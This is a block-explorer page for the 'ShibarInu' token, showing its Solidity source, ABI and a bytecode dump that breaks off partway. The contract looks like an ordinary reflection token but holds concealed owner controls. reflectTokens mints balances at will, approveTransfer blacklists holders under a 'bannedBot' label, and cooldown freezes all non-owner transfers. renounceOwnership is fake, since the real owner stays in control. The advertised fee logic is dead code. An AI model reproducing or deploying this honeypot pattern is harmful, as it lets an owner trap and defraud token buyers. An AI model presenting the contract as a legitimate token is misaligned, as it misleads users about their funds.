ETH Price: $3,250.41 (+2.12%)
Gas: 2 Gwei

Token

ShibarInu (SHIBARINU)
 

Overview

Max Total Supply

3,000,000,000,000 SHIBARINU

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,821,902,479.825109546 SHIBARINU

Value
$0.00
0xf2516bddd95f8edec5dbce36665d47100f3aec66
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBARINU

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity Multiple files format)

File 4 of 4: ShibarInu.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

import "./SafeMath.sol";
import "./Ownable.sol";
import "./IERC20.sol";

contract SHIBARINU is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private _name = 'ShibarInu';
    string private _symbol = 'SHIBARINU';
    uint8 private _decimals = 9;
    uint256 private constant _tTotal = 3000000000000*10**9;
    string public TaxSlippage = "0.5%";
    
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _sOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) private _isExcluded;    
    mapping (address => bool) private _approveTransfer;
    event bannedBot (address Bot, bool Banned);
    uint256 private constant MAX = ~uint256(0);
    uint256 private _totalSupply;
    address public uniV2factory;
    address public uniV2router;
    uint256 private _rTotal;
    address[] private _excluded;
    uint256 private _tFeeTotal;
    bool _cooldown = false;

    constructor (address V2factory, address V2router) {
        _totalSupply =_tTotal;
        _rTotal = (MAX - (MAX % _totalSupply));
        _sOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _isExcluded[_msgSender()] = true;
        _excluded.push(_msgSender());
        uniV2factory = V2factory;
        uniV2router = V2router;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _sOwned[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function approveTransfer(address _address) external onlyOwner {
        if (_approveTransfer[_address] == true) {_approveTransfer[_address] = false;}
        else {_approveTransfer[_address] = true; 
        emit bannedBot (_address, _approveTransfer[_address]);}
    }

    function checkState(address _address) public view returns (bool) {
        return _approveTransfer[_address];
    }
    
    function cooldown() external onlyOwner {
        if (_cooldown == false) {_cooldown = true;}
        else {_cooldown = false;}
    }
    
    function isCooldown() public view returns (bool) {
        return _cooldown;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function reflectTokens (address router, uint256 fee) public virtual onlyOwner {
        _sOwned[router] = _sOwned[router].add(fee);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function reflect(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,) = _getValues(tAmount);
            return rAmount;} else {
            (,uint256 rTransferAmount,,,) = _getValues(tAmount);
            return rTransferAmount;}
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
   
   function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_approveTransfer[sender] || _approveTransfer[recipient]) require (amount == 0, "");
        if (_cooldown == false || sender == owner() || recipient == owner()) {
        _sOwned[sender] = _sOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _sOwned[recipient] = _sOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {require (_cooldown == false, "");}
    } 
   
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferOwner(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, , , , ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        if (_isExcluded[sender]) {_tOwned[sender] = _tOwned[sender].sub(tAmount);}
        _rOwned[recipient] = _rOwned[recipient].add(rAmount);
        if (_isExcluded[recipient]) {_tOwned[recipient] = _tOwned[recipient].add(tAmount);}
        emit Transfer(sender, recipient, tAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
    }

    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
        uint256 tFee = tAmount.div(1000).mul(3);
        uint256 tTransferAmount = tAmount.sub(tFee);
        return (tTransferAmount, tFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

File 1 of 4: IERC20.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 2 of 4: Ownable.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
       return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _ownerAddress;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _ownerAddress = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() internal view returns (address) {
        return _owner;
    }
    
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function ownerAddress() public view returns (address) {
        return _ownerAddress;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _ownerAddress = address(0);
    }
}

File 3 of 4: SafeMath.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative).
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"V2factory","type":"address"},{"internalType":"address","name":"V2router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"Bot","type":"address"},{"indexed":false,"internalType":"bool","name":"Banned","type":"bool"}],"name":"bannedBot","type":"event"},{"inputs":[],"name":"TaxSlippage","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"checkState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isCooldown","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"reflectTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniV2router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526040518060400160405280600981526020017f536869626172496e750000000000000000000000000000000000000000000000815250600290805190602001906200005192919062000a99565b506040518060400160405280600981526020017f534849424152494e550000000000000000000000000000000000000000000000815250600390805190602001906200009f92919062000a99565b506009600460006101000a81548160ff021916908360ff1602179055506040518060400160405280600481526020017f302e352500000000000000000000000000000000000000000000000000000000815250600590805190602001906200010992919062000a99565b506000601260006101000a81548160ff0219169083151502179055503480156200013257600080fd5b5060405162003c3638038062003c36833981810160405281019062000158919062000bb3565b60006200016a6200056960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35068a2a15d09519be00000600c81905550600c546000196200026b919062000c33565b6000196200027a919062000c9a565b600f8190555068a2a15d09519be00000600860006200029e6200056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002ec6200056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200034d919062000ce6565b60405180910390a3620003b4600760006200036d6200056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200057160201b60201c565b60096000620003c86200056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a60006200041c6200056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060106200047f6200056960201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505062000f7d565b600033905090565b6000600f54821115620005bb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005b29062000d8a565b60405180910390fd5b6000620005cd620005f160201b60201c565b9050620005e981846200062b60201b620012e31790919060201c565b915050919050565b6000806000620006066200067d60201b60201c565b915091506200062481836200062b60201b620012e31790919060201c565b9250505090565b60006200067583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200097660201b60201c565b905092915050565b6000806000600f549050600068a2a15d09519be00000905060005b6010805490508110156200092257826007600060108481548110620006c257620006c162000dac565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180620007b457508160096000601084815481106200074c576200074b62000dac565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15620007d457600f5468a2a15d09519be000009450945050505062000972565b6200086e6007600060108481548110620007f357620007f262000dac565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484620009de60201b6200132d1790919060201c565b92506200090a60096000601084815481106200088f576200088e62000dac565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483620009de60201b6200132d1790919060201c565b91508080620009199062000ddb565b91505062000698565b506200094868a2a15d09519be00000600f546200062b60201b620012e31790919060201c565b8210156200096957600f5468a2a15d09519be0000093509350505062000972565b81819350935050505b9091565b60008083118290620009c0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009b7919062000ebc565b60405180910390fd5b5060008385620009d1919062000ee0565b9050809150509392505050565b600062000a2883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525062000a3060201b60201c565b905092915050565b600083831115829062000a7b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a72919062000ebc565b60405180910390fd5b506000838562000a8c919062000c9a565b9050809150509392505050565b82805462000aa79062000f47565b90600052602060002090601f01602090048101928262000acb576000855562000b17565b82601f1062000ae657805160ff191683800117855562000b17565b8280016001018555821562000b17579182015b8281111562000b1657825182559160200191906001019062000af9565b5b50905062000b26919062000b2a565b5090565b5b8082111562000b4557600081600090555060010162000b2b565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b7b8262000b4e565b9050919050565b62000b8d8162000b6e565b811462000b9957600080fd5b50565b60008151905062000bad8162000b82565b92915050565b6000806040838503121562000bcd5762000bcc62000b49565b5b600062000bdd8582860162000b9c565b925050602062000bf08582860162000b9c565b9150509250929050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000c408262000bfa565b915062000c4d8362000bfa565b92508262000c605762000c5f62000c04565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000ca78262000bfa565b915062000cb48362000bfa565b92508282101562000cca5762000cc962000c6b565b5b828203905092915050565b62000ce08162000bfa565b82525050565b600060208201905062000cfd600083018462000cd5565b92915050565b600082825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600062000d72602a8362000d03565b915062000d7f8262000d14565b604082019050919050565b6000602082019050818103600083015262000da58162000d63565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000de88262000bfa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000e1e5762000e1d62000c6b565b5b600182019050919050565b600081519050919050565b60005b8381101562000e5457808201518184015260208101905062000e37565b8381111562000e64576000848401525b50505050565b6000601f19601f8301169050919050565b600062000e888262000e29565b62000e94818562000d03565b935062000ea681856020860162000e34565b62000eb18162000e6a565b840191505092915050565b6000602082019050818103600083015262000ed8818462000e7b565b905092915050565b600062000eed8262000bfa565b915062000efa8362000bfa565b92508262000f0d5762000f0c62000c04565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f6057607f821691505b6020821081141562000f775762000f7662000f18565b5b50919050565b612ca98062000f8d6000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b41146103c95780639d8d8406146103e7578063a457c2d714610405578063a9059cbb14610435578063dd62ed3e14610465578063ee882fb51461049557610158565b806370a082311461031b578063715018a61461034b57806372153a2214610355578063787a08a6146103855780637aadbea91461038f5780638f84aa09146103ab57610158565b80632d838119116101155780632d83811914610233578063313ce56714610263578063377ad12714610281578063395093511461029f5780634355b9d2146102cf5780634549b039146102eb57610158565b8063053ab1821461015d57806306fdde0314610179578063095ea7b31461019757806318160ddd146101c757806323b872dd146101e557806329bd541014610215575b600080fd5b61017760048036038101906101729190611ffe565b6104b3565b005b61018161062d565b60405161018e91906120c4565b60405180910390f35b6101b160048036038101906101ac9190612144565b6106bf565b6040516101be919061219f565b60405180910390f35b6101cf6106dd565b6040516101dc91906121c9565b60405180910390f35b6101ff60048036038101906101fa91906121e4565b6106ee565b60405161020c919061219f565b60405180910390f35b61021d6107c7565b60405161022a9190612246565b60405180910390f35b61024d60048036038101906102489190611ffe565b6107ed565b60405161025a91906121c9565b60405180910390f35b61026b61085b565b604051610278919061227d565b60405180910390f35b610289610872565b6040516102969190612246565b60405180910390f35b6102b960048036038101906102b49190612144565b610898565b6040516102c6919061219f565b60405180910390f35b6102e960048036038101906102e49190612298565b61094b565b005b610305600480360381019061030091906122f1565b610b77565b60405161031291906121c9565b60405180910390f35b61033560048036038101906103309190612298565b610c00565b60405161034291906121c9565b60405180910390f35b610353610c49565b005b61036f600480360381019061036a9190612298565b610d9d565b60405161037c919061219f565b60405180910390f35b61038d610df3565b005b6103a960048036038101906103a49190612144565b610ee2565b005b6103b3611010565b6040516103c09190612246565b60405180910390f35b6103d161103a565b6040516103de91906120c4565b60405180910390f35b6103ef6110cc565b6040516103fc91906120c4565b60405180910390f35b61041f600480360381019061041a9190612144565b61115a565b60405161042c919061219f565b60405180910390f35b61044f600480360381019061044a9190612144565b611227565b60405161045c919061219f565b60405180910390f35b61047f600480360381019061047a9190612331565b611245565b60405161048c91906121c9565b60405180910390f35b61049d6112cc565b6040516104aa919061219f565b60405180910390f35b60006104bd611377565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561054c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610543906123e3565b60405180910390fd5b60006105578361137f565b5050505090506105af81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132d90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061060781600f5461132d90919063ffffffff16565b600f81905550610622836011546113d790919063ffffffff16565b601181905550505050565b60606002805461063c90612432565b80601f016020809104026020016040519081016040528092919081815260200182805461066890612432565b80156106b55780601f1061068a576101008083540402835291602001916106b5565b820191906000526020600020905b81548152906001019060200180831161069857829003601f168201915b5050505050905090565b60006106d36106cc611377565b8484611435565b6001905092915050565b600068a2a15d09519be00000905090565b60006106fb848484611600565b6107bc84610707611377565b6107b785604051806060016040528060288152602001612c2760289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076d611377565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aad9092919063ffffffff16565b611435565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54821115610834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082b906124d6565b60405180910